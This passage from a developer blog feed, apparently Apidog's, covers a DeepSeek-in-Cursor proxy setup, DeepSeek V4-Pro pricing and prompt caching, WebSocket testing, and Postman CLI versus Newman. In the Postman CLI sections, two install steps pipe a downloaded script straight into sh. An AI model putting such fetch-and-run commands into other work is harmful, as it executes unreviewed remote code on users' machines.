50 × 8,000 × $0.435 / 1,000,000 = $0.174

Output cost:

50 × 1,500 × $0.87 / 1,000,000 = $0.065

With prompt-cache hits, repeated system and context prefixes can reduce the input cost further.

For the full pricing breakdown, see DeepSeek V4-Pro 75% Price Cut Is Now Permanent.

For more DeepSeek context, see:

What changes inside Cursor

1. Reasoning blocks become visible

By default, the proxy renders DeepSeek reasoning as a collapsible Markdown block using <details>.

If you do not want to see it:

deepseek-cursor-proxy --no-display-reasoning

2. First tool-call latency is higher

V4-Pro is a thinking model, so it reasons before calling tools. Expect a few seconds before the first tool fires.

3. Complex refactors can improve

The main benefit is multi-step reasoning across files. For renames, signature changes, and config-driven refactors, V4-Pro can catch dependencies that simpler completion models may miss.

For older Cursor + DeepSeek workflows, see:

Testing your DeepSeek setup with Apidog

The Cursor setup only validates requests coming from Cursor. If you use V4-Pro in a CI bot, backend agent, IDE plugin, or internal tool, test the DeepSeek API path directly.

Use Apidog as a repeatable API test harness:

Create an Apidog environment.
Set the base URL to:

https://api.deepseek.com/v1

Add your DeepSeek API key.
Import the OpenAI Chat Completion schema.
Create test cases for your prompts and tool-call payloads.

You can use this to:

Record golden V4-Pro responses and replay them after prompt changes
Validate tool_calls payloads with JSON Schema assertions
Compare V4-Pro and GPT-5.5 on the same input batch
Catch API contract drift before it reaches production

Download Apidog here: Download Apidog.

The same workflow is covered in How to use the DeepSeek V4 API.

Common pitfalls

400 errors after the first tool call

This usually means Cursor is not going through the proxy.

Check:

The proxy process is running
Cursor’s base URL points to the ngrok URL
The base URL ends with /v1
The proxy logs show incoming requests

ngrok URL keeps changing

Free ngrok tunnels rotate on restart.

Fix it by reserving a domain in the ngrok dashboard, then starting the proxy with:

deepseek-cursor-proxy --ngrok-url https://your-reserved.ngrok-free.app

Duplicated reasoning content

This can happen if two proxy instances use the same SQLite cache.

Stop both, delete the cache, and start one proxy:

rm ~/.deepseek-cursor-proxy/reasoning_content.sqlite3
deepseek-cursor-proxy

Low prompt-cache hit ratio

DeepSeek prompt caching requires byte-identical prefixes.

Cursor may inject timestamps or session IDs into system prompts, which changes the prefix and kills cache hits.

Possible fixes:

Remove variable content from the system prompt
Move changing context into user messages
Accept the extra input cost for Cursor sessions

Cursor says “model not found”

The model name must match a real DeepSeek model identifier.

Examples:

deepseek-v4-pro
deepseek-v4-flash
deepseek-v3-2-pro
deepseek-r1-1

The proxy does not translate model names.

Alternatives

If you do not want to run the proxy, you have two practical alternatives.

Use V4-Flash directly

deepseek-v4-flash is not a thinking model and does not return reasoning_content, so Cursor can talk to it without the proxy.

You lose the V4-Pro reasoning behavior, but setup is simpler.

Use another IDE assistant

Tools like Cline, Continue, or other AI IDE plugins may support thinking-model fields directly.

If you are not committed to Cursor, switching tools may be easier than running a proxy.

See Best open source coding assistants in 2026: free Cursor alternatives.

Other Cursor model integrations:

FAQ

Why does Cursor not support DeepSeek V4-Pro natively?

Cursor’s chat client follows the OpenAI Chat Completions schema. reasoning_content is a DeepSeek-specific extension, so Cursor would need provider-specific handling to preserve it across tool calls.

Does the proxy work with DeepSeek R1 or V3.2?

Yes. It works with DeepSeek thinking models that return reasoning_content and require it on tool-call follow-ups.

Set Cursor’s model name to the actual DeepSeek model identifier.

Is the proxy safe to leave running?

Yes, but the SQLite cache contains raw reasoning content from your sessions.

If you share the machine or run a multi-user setup, restrict permissions on:

~/.deepseek-cursor-proxy/

Can I use the proxy without ngrok?

Yes:

deepseek-cursor-proxy --no-ngrok

That exposes only:

http://127.0.0.1:9000

Most Cursor builds require HTTPS for custom models, so ngrok or an equivalent tunnel is usually required.

Alternatives include:

Cloudflare Tunnel
Tailscale Funnel
A reverse proxy with HTTPS

Does this work with Cursor Composer?

Yes. Composer uses the same model-routing pipeline as Cursor chat, so the same reasoning_content issue applies and the proxy fixes it the same way.

What is the proxy latency overhead?

The proxy adds:

One local network hop
One SQLite lookup
Small JSON modifications

The overhead is typically negligible compared with model latency. ngrok may add extra network latency depending on the edge location.

How does the proxy decide what to cache?

It hashes the conversation prefix and stores the matching reasoning_content in SQLite.

On the next request, it hashes the new prefix and looks up the cached reasoning block. Partial-prefix matches do not count, which prevents similar conversations from polluting each other.

Next steps

DeepSeek V4-Pro is usable in Cursor today if you handle the reasoning_content contract correctly. The proxy does that with a small local service and an HTTPS tunnel.

Recommended workflow:

Install and run deepseek-cursor-proxy.
Add deepseek-v4-pro as a Cursor custom model.
Test with a prompt that forces tool usage.
Compare it against your current Cursor default on real pull requests.
Use Apidog to build regression tests against api.deepseek.com.

The thinking-token tax is paid. The price tag is not.

DeepSeek V4-Pro 75% Price Cut Is Now Permanent: What It Means for Developers (2026)

Hassann — Mon, 25 May 2026 07:46:20 +0000

DeepSeek turned the most aggressive temporary discount in 2026 LLM pricing into the new normal. On May 22, the team announced that the 75% off DeepSeek-V4-Pro offer, originally set to expire on May 31, 2026 at 15:59 UTC, would not roll back. The promotional rate becomes the permanent list price: input drops to $0.435 per million tokens, output to $0.87, and cache hits to $0.003625. Here’s what changed, what stayed the same, and what API developers should update in their cost models this week.

Try Apidog today

TL;DR

DeepSeek-V4-Pro API pricing is now permanent at 1/4 of the original list price: $0.435/MTok input, $0.87/MTok output, $0.003625/MTok cache hit.
The 75% promo discount that was set to end May 31, 2026 is now the regular rate.
V4-Pro is now roughly 34x cheaper than GPT-5.5 on output while landing within ~95% of GPT-5.5 on most coding and reasoning benchmarks.
The cache-hit price is the implementation detail to optimize for. Long, stable system prompts can become almost free at the prefix.
If you priced AI features against GPT-5.5 or Claude Opus 4.7 last quarter, rerun the math before you defer anything on cost.

Why this matters now

LLM pricing usually moves down slowly, with caveats. DeepSeek removed the main caveat: the discount does not expire. The team ran an aggressive promo through May, watched developer traffic climb, and locked the rate in instead of rolling it back.

If your product calls an LLM in a hot path—autocomplete, RAG chat, code review, agent loops—the difference between $3.48 and $0.87 per million output tokens shows up quickly.

For example:

50M output tokens/day × $3.48 / 1M × 30 days = $5,220/month
50M output tokens/day × $0.87 / 1M × 30 days = $1,305/month

That is a roughly $3,915/month reduction on output tokens alone.

Building on top of DeepSeek? Apidog lets you generate, test, and monitor V4-Pro API calls in one workspace, including streaming, tool calls, and JSON schema validation.

In the rest of this post, we’ll turn the announcement into implementation steps: pricing math, model comparisons, cache-hit design, workload routing, and a practical migration checklist.

What changed: the announcement decoded

DeepSeek’s official pricing notice is short, but three points matter for developers:

The 75% discount is permanent.

The promo running through May 31, 2026 15:59 UTC was supposed to revert to the launch list price on June 1. It will not. The promo rate is now the list rate.
The cut applies to V4-Pro only.

DeepSeek-V4-Flash, at $0.14 / $0.28 per million tokens, was already cheap. V4-Pro is the frontier-tier model that dropped. See What is DeepSeek V4 for the Flash vs Pro split.
Cache-hit pricing was cut to 1/10 of launch, effective April 26, 2026 12:15 UTC.

This stacks with the headline cut. The result is cache hits at $0.003625/MTok.

Read together, the announcement points to a clear developer strategy: make V4-Pro cheap enough to become the default model for agentic and long-context workloads, then rely on usage volume.

The new permanent price sheet

Pricing per 1 million tokens, USD, effective immediately and permanent:

Token type	Old list	New permanent	Cut
Input, cache miss	$1.74	$0.435	75%
Input, cache hit	$0.0145	$0.003625	75%
Output	$3.48	$0.87	75%

Implementation takeaways:

Output cost is the big invoice lever. Agent loops, code generation, summarization, and content tools often produce large outputs.
Cache hits change prompt architecture. Input miss to input hit is roughly 120:1. Stable prefixes now matter a lot.
These rates apply to the API only. DeepSeek’s web chat remains free for individuals.

For more historical context on V4 pricing tiers and Flash-vs-Pro tradeoffs, see the DeepSeek V4 API Pricing reference.

How V4-Pro compares to GPT-5.5, Claude Opus 4.7, and Gemini 3.5 Flash

The useful comparison is not V4-Pro versus its old price. It is V4-Pro versus other frontier and near-frontier models.

Model	Input ($/MTok)	Output ($/MTok)	SWE-bench Pro
DeepSeek-V4-Pro, new	$0.435	$0.87	55.4%
GPT-5.5	$5.00	$30.00	58.6%
Claude Opus 4.7	$3.00	$15.00	~62%
Gemini 3.5 Flash	~$1.50	~$9.00	~48%
DeepSeek-V4-Flash	$0.14	$0.28	~42%

Two numbers matter:

On output tokens, DeepSeek-V4-Pro is 34x cheaper than GPT-5.5.
On public coding and reasoning evals, V4-Pro lands within 3 to 7 percentage points of GPT-5.5 on most benchmarks, according to the DataCamp comparison.

If your workload is latency-tolerant and quality-acceptable in that band, migration becomes a cost-routing problem. If the last few benchmark points matter, V4-Pro can still be useful as a draft model, fallback model, or first-pass model behind a critic.

For deeper head-to-head reviews, see DeepSeek V4 vs Claude Opus 4.5 for coding and GLM-5 vs DeepSeek V3 vs GPT-5: speed, cost, and practical developer comparison.

The cache-hit angle most articles miss

The $0.87 output price is obvious. The $0.003625 cache-hit input price is where implementation choices matter.

DeepSeek’s prompt cache hits when the prefix of your request is byte-identical to a recent prior request, within roughly a 30-minute window. For chat agents and retrieval pipelines, the prefix is usually:

system prompt
tool definitions
JSON schema instructions
few-shot examples
safety or formatting rules

That prefix often sits around 4,000 to 10,000 tokens and changes rarely.

Example: 100,000 chat turns/day

Assume:

System prompt: 6,000 tokens
User message: 200 tokens
Average response: 800 output tokens
Traffic: 100,000 turns/day

Without cache hits:

100,000 × 6,200 input tokens × $0.435 / 1,000,000
= $269.70/day on input

With 90% of the system-prompt tokens hitting cache:

Per turn input cost:
200 × $0.435
+
6,000 × ((0.9 × $0.003625) + (0.1 × $0.435))

Then divide by 1,000,000 and multiply by 100,000 turns.

That comes out to about $32/day on input, an 88% reduction.

For more on how prefix caching works across providers, see the prompt caching deep dive.

How to design prompts for cache hits

Use these patterns in real agents:

1. Pin the prefix

Keep stable content at the start of every request:

SYSTEM:
- Role and behavior
- Tool schemas
- JSON output rules
- Few-shot examples
- Static product constraints

USER:
- Current user input
- Request-specific context
- Session-specific metadata

Avoid putting timestamps, request IDs, user IDs, or retrieved snippets inside the system prompt.

2. Keep tool schemas stable

If your tool definitions are generated dynamically, sort keys and keep ordering deterministic.

Bad:

{
  "tools": [
    { "name": "search_docs", "description": "..." },
    { "name": "create_ticket", "description": "..." }
  ],
  "request_id": "req_2026_05_22_abc"
}

Better:

{
  "tools": [
    { "name": "create_ticket", "description": "..." },
    { "name": "search_docs", "description": "..." }
  ]
}

Put request-specific values in the user message or metadata layer instead.

3. Sort or hash dynamic context

If you append retrieved chunks, sort them stably. If identical requests are common, hash the normalized context and route matching hashes consistently.

Small prefix changes can invalidate the cache.

4. Warm up the prefix

On agent startup, send one request with the full stable prefix before user traffic arrives. This seats the prefix in the provider cache.

Quick API smoke test

If your current provider uses an OpenAI-compatible request shape, start with a minimal smoke test against DeepSeek.

export DEEPSEEK_API_KEY="YOUR_API_KEY"

curl https://api.deepseek.com/chat/completions \
  -H "Authorization: Bearer $DEEPSEEK_API_KEY" \
  -H "Content-Type: application/json" \
  -d '{
    "model": "deepseek-v4-pro",
    "messages": [
      {
        "role": "system",
        "content": "You are a concise coding assistant. Return valid JSON when asked."
      },
      {
        "role": "user",
        "content": "Write a JavaScript function that calculates token cost from input tokens, output tokens, and per-million-token rates."
      }
    ]
  }'

Then test the same prompt against your current model and compare:

response quality
latency
tool-call shape
JSON validity
retry rate
total cost per request

For a hands-on walkthrough of the V4-Pro endpoint shape, see How to use the DeepSeek V4 API.

What you should do this week

The migration decision is not binary. Route by workload.

1. Measure your output:input ratio

Start with actual production traces. Compute token spend by route:

const INPUT_RATE = 0.435;
const OUTPUT_RATE = 0.87;

function estimateCost({ inputTokens, outputTokens }) {
  return {
    inputCost: (inputTokens / 1_000_000) * INPUT_RATE,
    outputCost: (outputTokens / 1_000_000) * OUTPUT_RATE,
    totalCost:
      (inputTokens / 1_000_000) * INPUT_RATE +
      (outputTokens / 1_000_000) * OUTPUT_RATE,
  };
}

console.log(
  estimateCost({
    inputTokens: 6200,
    outputTokens: 800,
  })
);

If your route spends most of its budget on output, V4-Pro’s new pricing is especially relevant.

2. Run a 100-sample eval on your real workload

Do not rely only on public benchmarks. Pull 100 production traces, run them through V4-Pro and your current model with identical prompts, then score using your own criteria.

Track:

task completion
hallucination rate
JSON/schema validity
tool-call correctness
latency
cost per successful task

Most teams find V4-Pro is “good enough” for 70% to 85% of their traffic.

3. Route by difficulty

A practical routing pattern:

Simple requests           -> DeepSeek-V4-Pro
Medium coding/reasoning   -> DeepSeek-V4-Pro
Hard tail / high-risk     -> Premium model
Failed validation         -> Retry or escalate

This captures most savings without forcing a full migration.

4. Lock in cache prefixes

Audit every system prompt. Move variable fields out of the prefix:

timestamps
user IDs
session IDs
request IDs
retrieved chunks
per-request instructions

Stable prefix first. Dynamic context later.

5. Add regression tests before shipping

This is where Apidog helps. Record golden responses from your current model, replay the same requests against V4-Pro, and diff the outputs. Apidog’s JSON schema validation can catch drift in tool-call shapes before production.

You can Download Apidog, import your OpenAI-compatible collection, change the base URL to:

https://api.deepseek.com

Then run a side-by-side smoke test.

How V4-Pro stacks up against other 2026 price drops

DeepSeek is not the only lab cutting prices. The 2026 LLM market is in a clear margin-compression phase:

OpenAI O3 dropped 80% earlier this year. See the O3 pricing breakdown.
Kimi K2 repriced aggressively to compete with DeepSeek’s V3 tier. Kimi K2 API pricing covers the details.
Anthropic Claude held the line on Opus pricing but introduced cheaper Haiku and Sonnet tiers. The full Claude API cost breakdown walks through where each tier fits.

V4-Pro’s cut is different because it targets the frontier capability band, not only the budget tier.

The build math shifted

DeepSeek did not just drop the price. It changed the baseline. Frontier capability at sub-dollar output pricing is now part of the 2026 cost model.

Do three things next:

Audit your top three LLM workloads and pick one route to test on V4-Pro this week.
Stabilize your cache prefixes, regardless of which model you use.
Wire up an Apidog regression suite so the next price cut takes hours to evaluate instead of weeks.

The promo flag came off. The discount did not.

How to Test WebSocket Connections With curl and Other Tools

Hassann — Fri, 22 May 2026 07:21:13 +0000

WebSocket gives you a persistent, two-way channel between client and server over a single TCP connection. Once the connection is open, either side can send a message at any time. That is why WebSocket is common in live chat, trading feeds, multiplayer games, and dashboards. Testing it is different from testing a request-response API because you are not inspecting one response. You are observing a stream.

Try Apidog today

This guide shows how to test WebSocket endpoints from the command line and with a GUI client. You will use curl for handshake checks, websocat for interactive and scriptable message testing, and Apidog when you need a visual timeline.

Why WebSocket testing is not like REST testing

A REST test is usually a single transaction:

Send one request.
Receive one response.
Assert the response.
Finish the test.

A WebSocket test is a conversation:

Open a connection.
Keep it alive.
Send one or more messages.
Receive replies and server-pushed messages.
Validate close behavior.

That changes what you need to verify:

The HTTP connection upgrades successfully.
The server accepts your initial message.
Expected replies arrive with the right payload shape.
Server-pushed messages arrive without another request.
The connection closes with the expected close code.

A tool built for one-shot HTTP requests can only cover part of this workflow. That is why curl is useful for quick checks, but not ideal for full WebSocket testing. For broader test planning, the distinction between a test scenario and a test case maps well to WebSocket work: the whole conversation is the scenario, while each message check is a test case.

The WebSocket handshake

Every WebSocket connection starts as an HTTP request that asks the server to upgrade the protocol.

The client sends headers like:

Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: <base64-value>

If the server accepts, it returns:

HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket

After that, the connection is no longer normal HTTP. It uses the WebSocket frame protocol defined in RFC 6455.

This is the core limitation of classic curl. It can send HTTP headers, but WebSocket messages after the handshake must be framed and unframed correctly. To test beyond the upgrade, you need a tool that understands WebSocket frames.

Testing WebSocket with curl

curl 7.86 and later includes experimental native WebSocket support. It is useful for basic reachability and handshake checks.

First, confirm your curl version:

curl --version

If you are on 7.86 or newer, you can try connecting to a WebSocket endpoint.

Example handshake check against a public echo server:

curl --include --no-buffer \
  --header "Connection: Upgrade" \
  --header "Upgrade: websocket" \
  --header "Sec-WebSocket-Version: 13" \
  --header "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
  https://echo.websocket.org

Use:

--include to print response headers.
--no-buffer to stream output immediately instead of buffering it.
wss:// for secure WebSocket endpoints, similar to how you use https://.

What you want to see is an HTTP 101 Switching Protocols response.

curl is best for quick checks like:

# Is the endpoint reachable?
# Does the server accept the upgrade?
# Are the required headers accepted?

It is not ideal for long interactive sessions where you need to send multiple messages, receive pushed events, and inspect a timeline. For CI/CD usage, you can still wrap simple command-line checks into a pipeline. See this guide on automating API tests in CI/CD.

Testing WebSocket with websocat

For most command-line WebSocket testing, use websocat.

It is purpose-built for WebSocket, understands frames, supports interactive sessions, and behaves like netcat for WebSocket connections.

Install it with your package manager:

brew install websocat

Or with Cargo:

cargo install websocat

Connect to a WebSocket endpoint:

websocat wss://echo.websocket.org

This opens an interactive session. Type a line, press Enter, and websocat sends it as a WebSocket message. Replies are printed as they arrive.

Send one message and exit

For a one-off test, pipe a message into websocat:

echo '{"action":"subscribe","channel":"prices"}' | websocat wss://stream.example.com/feed

This is useful for scripts where you want to send a known payload and inspect the reply.

Add authentication headers

Many WebSocket APIs require authentication during the handshake.

Pass headers like this:

websocat \
  --header "Authorization: Bearer your-token-here" \
  wss://api.example.com/socket

You can also use query parameters if your API expects tokens in the URL:

websocat "wss://api.example.com/socket?token=your-token-here"

Capture a response in a script

A minimal shell check might look like this:

#!/usr/bin/env bash

set -euo pipefail

response=$(
  echo '{"type":"ping"}' | websocat -1 wss://api.example.com/socket
)

echo "$response"

if echo "$response" | grep -q '"type":"pong"'; then
  echo "WebSocket check passed"
else
  echo "WebSocket check failed"
  exit 1
fi

Use this pattern when you need a lightweight CI check:

Connect.
Send a known message.
Capture the reply.
Assert on expected content.
Exit non-zero on failure.

For payload validation, the same ideas from writing useful API assertions apply to WebSocket message bodies.

Testing WebSocket with a GUI tool

Command-line tools are good for scripts and quick checks. A GUI is better when you need to explore, debug, and share a WebSocket flow.

Apidog includes a dedicated WebSocket client. You can:

Enter a ws:// or wss:// URL.
Connect and keep the session open.
View sent and received messages in a timeline.
Send structured JSON messages.
Set headers and query parameters for authentication.
Save connections for reuse.
Test WebSocket alongside REST, GraphQL, and SOAP APIs.

Use a GUI client when you are:

Exploring an unfamiliar WebSocket API.
Debugging why a message is not arriving.
Checking server-pushed events.
Sharing a reproducible test with a teammate.
Comparing multiple messages in a single timeline.

Download Apidog to test WebSocket endpoints with a visual timeline.

Use the command line when the check needs to run unattended. Most teams use both: GUI clients for exploration, command-line tools for automation. For more GUI options, see this roundup of free online API testing tools.

A simple WebSocket test checklist

Use this checklist when validating a WebSocket endpoint.

1. Confirm the upgrade

The server should return HTTP 101 Switching Protocols.

If it does not:

Check the URL path.
Check the scheme: ws:// or wss://.
Check required headers.
Check authentication.

2. Check authentication

Many WebSocket servers expect a token in a header:

websocat \
  --header "Authorization: Bearer your-token-here" \
  wss://api.example.com/socket

Or in a query parameter:

websocat "wss://api.example.com/socket?token=your-token-here"

If the connection opens and immediately closes, authentication is often the cause.

3. Send a known valid message

Use a real payload your API understands:

{
  "action": "subscribe",
  "channel": "prices"
}

Then verify that the server returns the expected response shape.

4. Verify server-pushed messages

After subscribing, wait for messages without sending another request.

For example:

echo '{"action":"subscribe","channel":"prices"}' | websocat wss://stream.example.com/feed

The key behavior to test is that messages arrive from the server without further client input.

5. Test close behavior

Close the connection and check the close code.

Common codes include:

1000: Normal closure.
1006: Abnormal closure.
1011: Server error.

A clean close should usually return 1000.

6. Test failure paths

Send malformed or invalid payloads and confirm the server responds predictably.

Example invalid payload:

{
  "action": "subscribe"
}

Expected behavior might be an error message, not a silent disconnect.

For organizing these checks into repeatable groups, see this guide on building API test suites.

Debugging a WebSocket connection that will not work

When a WebSocket connection fails, debug it in this order.

1. Check the URL scheme

Use:

ws:// for unencrypted WebSocket.
wss:// for encrypted WebSocket over TLS.

Browsers block ws:// connections from HTTPS pages because that mixes secure and insecure content. In production, prefer wss://.

2. Check the handshake response

If you do not see HTTP 101, the server did not upgrade the connection.

Common responses:

400: Missing or malformed upgrade headers.
401: Authentication missing or invalid.
403: Authenticated but not allowed.
404: Wrong endpoint path.
500: Server-side failure.

With curl, use:

curl --include --no-buffer \
  --header "Connection: Upgrade" \
  --header "Upgrade: websocket" \
  --header "Sec-WebSocket-Version: 13" \
  --header "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
  https://example.com/socket

With websocat, use verbose output:

websocat -v wss://example.com/socket

3. Check idle timeouts

If the handshake succeeds but the connection drops later, check idle timeout behavior.

Possible causes:

The server expects ping/pong frames.
A proxy or load balancer closes idle connections.
The client stops reading from the socket.
The server closes unauthenticated or unsubscribed sessions.

4. Read the close code

Close codes are defined in RFC 6455.

Useful examples:

1000: Normal closure.
1001: Endpoint is going away.
1002: Protocol error.
1003: Unsupported data.
1006: Abnormal closure with no clean close handshake.
1008: Policy violation.
1011: Internal server error.

The close code usually tells you which side ended the connection and why.

Automating WebSocket checks

Manual testing confirms the endpoint works right now. Automation helps catch regressions later.

A useful automated WebSocket test should stay small and deterministic. Avoid trying to validate every message from a long-lived stream.

A practical automated check should assert:

The connection upgrades successfully.
A known request receives the expected response.
A subscribed channel receives at least one pushed message within a timeout.

Example script structure:

#!/usr/bin/env bash

set -euo pipefail

endpoint="wss://api.example.com/socket"
payload='{"type":"ping"}'

response=$(echo "$payload" | websocat -1 "$endpoint")

if echo "$response" | grep -q '"type":"pong"'; then
  echo "Pass"
else
  echo "Fail: unexpected response"
  echo "$response"
  exit 1
fi

Add it to CI like any other test command:

steps:
  - name: Test WebSocket endpoint
    run: ./scripts/test-websocket.sh

A GUI tool with a scenario runner, such as Apidog, can also save a WebSocket flow with sent messages and assertions, then replay it from a schedule or pipeline trigger.

Keep each WebSocket test focused. The same principle that keeps a test case reliable applies here: test one clear behavior and test it well.

Frequently asked questions

Can curl test WebSocket connections?

Partly. curl 7.86 and later has experimental native WebSocket support. It can complete the handshake and exchange basic messages, which is enough for a quick reachability check. For interactive testing with multiple messages, use websocat or a GUI client like Apidog.

What is the difference between ws and wss?

ws:// is an unencrypted WebSocket connection. wss:// is WebSocket over TLS.

Use wss:// outside local development because ws:// sends messages in plain text. Tools usually treat both schemes the same apart from encryption.

Why does my WebSocket connection open and then immediately close?

The most common cause is authentication. The server may accept the initial connection and then close it after rejecting a missing or invalid token.

Check:

The close code.
The token value.
Whether the token should be sent as a header or query parameter.
Whether the token is expired.
Whether the user has permission for the requested channel.

Is websocat better than curl for WebSocket testing?

Yes, for WebSocket-specific testing. websocat is built for WebSocket, understands the frame protocol, supports interactive sessions, custom headers, and piping messages in and out.

Use curl for a quick upgrade or reachability check. Use websocat for real command-line WebSocket testing.

How do I test that a server pushes messages without a request?

Open the connection, subscribe to the relevant channel if required, then wait.

With websocat, pushed messages print as they arrive:

websocat wss://stream.example.com/feed

With a GUI client like Apidog, pushed messages appear in the message timeline.

The important assertion is that messages arrive without another request from the client.

Postman CLI vs Newman: Which Command-Line Runner Should You Use?

Hassann — Fri, 22 May 2026 07:21:13 +0000

For years, running Postman collections outside the desktop app usually meant using Newman. Postman now also provides the Postman CLI, so teams have two command-line options for running collections in CI/CD. Both can execute requests and pm.test assertions, but they fit different workflows: Newman is an open-source, account-free runner, while Postman CLI is tied to the Postman cloud and can report results back to your workspace.

Try Apidog today

If you want a runner that only needs a collection file, Newman is usually the simpler choice. If your team already manages APIs inside Postman and wants centralized run history or governance checks, Postman CLI may fit better. This guide compares both tools from an implementation perspective so you can choose the right one for your pipeline.

What Newman is

Newman is Postman’s original command-line collection runner. It is open source, distributed as an npm package, and free to use. It runs exported Postman collection files, executes every request and pm.test assertion, and returns a non-zero exit code when tests fail.

That makes Newman easy to use in CI/CD because your build can fail automatically when an API test fails.

npm install -g newman

newman run checkout-api.postman_collection.json \
  --environment staging.postman_environment.json

Newman’s main advantage is independence. It does not require:

A Postman account
A Postman API key
A connection to Postman’s cloud
A collection stored in a workspace

You provide a local JSON collection file, and Newman runs it.

Newman also supports reporters. Out of the box, you can generate CLI output and JUnit XML. Community reporters such as newman-reporter-htmlextra can generate richer HTML reports.

npm install -g newman newman-reporter-htmlextra

newman run checkout-api.postman_collection.json \
  --environment staging.postman_environment.json \
  --reporters cli,htmlextra,junit \
  --reporter-htmlextra-export reports/newman-report.html \
  --reporter-junit-export reports/newman-results.xml

Because Newman is a Node.js package, you can also run it programmatically from scripts.

For more background, see this guide on the difference between Newman and Postman.

What Postman CLI is

Postman CLI is Postman’s newer official command-line tool. It is installed as a standalone binary rather than an npm package, and it authenticates with your Postman account using an API key.

Example installation and run flow:

# install, example for macOS/Linux
curl -o- "https://dl-cli.pstmn.io/install/osx_64.sh" | sh

# authenticate
postman login --with-api-key YOUR_API_KEY

# run a collection
postman collection run checkout-api

The key difference is that Postman CLI is designed to connect your pipeline to the Postman platform.

With Postman CLI, you can:

Pull collections from a Postman workspace
Run collections from CI/CD
Push run results back to Postman
View results in Postman workspace history and dashboards
Run API governance and linting checks against API definitions stored in Postman

That makes Postman CLI more than a local collection runner. It acts as a pipeline agent for teams that use Postman as their API collaboration platform.

Side-by-side comparison

Aspect	Postman CLI	Newman
Source	Closed source, official Postman tool	Open source
Install method	Install script, single binary	npm package
Postman account required	Yes, API key login	No
Collection source	Postman cloud by ID, or local file	Local JSON file
Run results	Reported back to Postman	Terminal output and reporter files
API governance/linting	Built in	Not included
Reporters	Limited; results live in Postman	CLI, JUnit, plus community HTML reporters
Offline use	Limited; designed around cloud workflows	Fully offline once files are local
Maturity	Newer	Long-established community standard
Cost	Free, but tied to Postman plan limits	Free, no account required

The main decision is whether you want Postman’s cloud involved in your test execution.

Use Postman CLI when you want results and governance inside Postman. Use Newman when you want a local, file-based runner with no platform dependency.

How they fit into CI/CD

Both tools work with common CI/CD systems, including:

GitHub Actions
GitLab CI
Jenkins
CircleCI
Azure Pipelines
Bitbucket Pipelines

The implementation pattern is different for each tool.

Using Newman in CI/CD

With Newman, the common pattern is:

Export your Postman collection as JSON.
Export your environment file as JSON.
Commit both files to your repository.
Install Newman in the CI job.
Run the collection.
Let Newman’s exit code pass or fail the build.

Example GitHub Actions workflow:

name: API Tests

on:
  push:
    branches:
      - main
  pull_request:

jobs:
  newman-tests:
    runs-on: ubuntu-latest

    steps:
      - name: Checkout repository
        uses: actions/checkout@v4

      - name: Install Newman
        run: npm install -g newman

      - name: Run API tests
        run: |
          newman run tests/checkout-api.postman_collection.json \
            --environment tests/staging.postman_environment.json

To publish JUnit results:

name: API Tests

on:
  push:
    branches:
      - main

jobs:
  newman-tests:
    runs-on: ubuntu-latest

    steps:
      - name: Checkout repository
        uses: actions/checkout@v4

      - name: Install Newman
        run: npm install -g newman

      - name: Run API tests with JUnit output
        run: |
          mkdir -p reports
          newman run tests/checkout-api.postman_collection.json \
            --environment tests/staging.postman_environment.json \
            --reporters cli,junit \
            --reporter-junit-export reports/newman-results.xml

      - name: Upload test report
        uses: actions/upload-artifact@v4
        with:
          name: newman-results
          path: reports/newman-results.xml

This approach keeps the test files versioned with the application code. Pull requests can update the API code and the API tests together.

For related CI/CD examples, see these guides on automating API tests in CI/CD and API test automation with GitHub Actions.

Using Postman CLI in CI/CD

With Postman CLI, the common pattern is:

Store your collection in Postman.
Create a Postman API key.
Add the API key as a CI/CD secret.
Install Postman CLI in the job.
Authenticate with the API key.
Run the collection by ID or workspace reference.
View results in Postman.

Example GitHub Actions workflow:

name: Postman CLI API Tests

on:
  push:
    branches:
      - main

jobs:
  postman-cli-tests:
    runs-on: ubuntu-latest

    steps:
      - name: Install Postman CLI
        run: |
          curl -o- "https://dl-cli.pstmn.io/install/linux64.sh" | sh

      - name: Login to Postman
        run: postman login --with-api-key "${{ secrets.POSTMAN_API_KEY }}"

      - name: Run Postman collection
        run: postman collection run "YOUR_COLLECTION_ID"

This approach keeps the source of truth in Postman rather than in your repository. That works well if your team manages API collections, environments, and reporting from Postman.

The trade-off is that your CI job now depends on:

A valid Postman API key
Access to the Postman workspace
Postman’s cloud availability
The collection version stored in Postman

Before choosing this approach, decide whether API tests should be versioned in your repository or managed in Postman.

The governance difference

API governance is the clearest functional difference between the two tools.

Postman CLI can run API linting and governance checks against API definitions stored in Postman. These checks can evaluate rules related to naming, schema quality, security, consistency, and completeness.

In a pipeline, that means an API definition can fail the build before the change is merged.

Conceptually, the workflow looks like this:

postman login --with-api-key YOUR_API_KEY

postman api lint YOUR_API_ID

Newman does not provide equivalent API governance functionality. Newman runs collections and reports execution results. That is its scope.

So the decision is not simply “Newman vs. a newer Newman.” The tools have different jobs:

Newman is a collection runner.
Postman CLI is a Postman platform pipeline agent that includes collection running.

If you need automated API design enforcement inside Postman, use Postman CLI. If you only need to execute collection tests, Newman is usually simpler.

Migration considerations

If your team already uses Newman successfully, there is usually no urgent reason to migrate.

Newman is still maintained, works in CI/CD, and does not require account authentication. Migrating to Postman CLI means you need to:

Add a Postman API key to CI secrets
Change how collections are sourced
Decide how Postman workspace versions map to code versions
Accept a runtime dependency on Postman’s cloud
Adjust reporting expectations

That migration is only worth it if you specifically want Postman-hosted run results, dashboards, or governance checks.

For new projects, start with your desired source of truth:

If tests should live in the repo, choose Newman.
If tests should live in Postman, choose Postman CLI.
If you want to avoid splitting design, testing, and CI execution across multiple tools, consider an alternative API platform.

Which one should you choose?

Choose Newman if you want:

No Postman account dependency
Tests versioned with your code
Local collection and environment files
Offline-friendly execution
Flexible reporter output
JUnit XML for CI test dashboards
Rich HTML reports through community reporters
A mature open-source runner

Choose Postman CLI if you want:

Postman workspace integration
Results synced back to Postman
Centralized run history
Postman dashboards
API governance checks
API definition linting in CI/CD
A workflow centered on the Postman platform

For many CI/CD pipelines, Newman is the safer default because it is simple, local, and vendor-independent. Postman CLI makes sense when the Postman platform itself is part of your team’s API governance and reporting workflow.

If you are evaluating other options, see these guides on running Postman collections in CI without Newman and API testing without Postman.

A single-tool alternative: Apidog

Both Newman and Postman CLI assume that your tests are authored in Postman. Apidog takes a different approach.

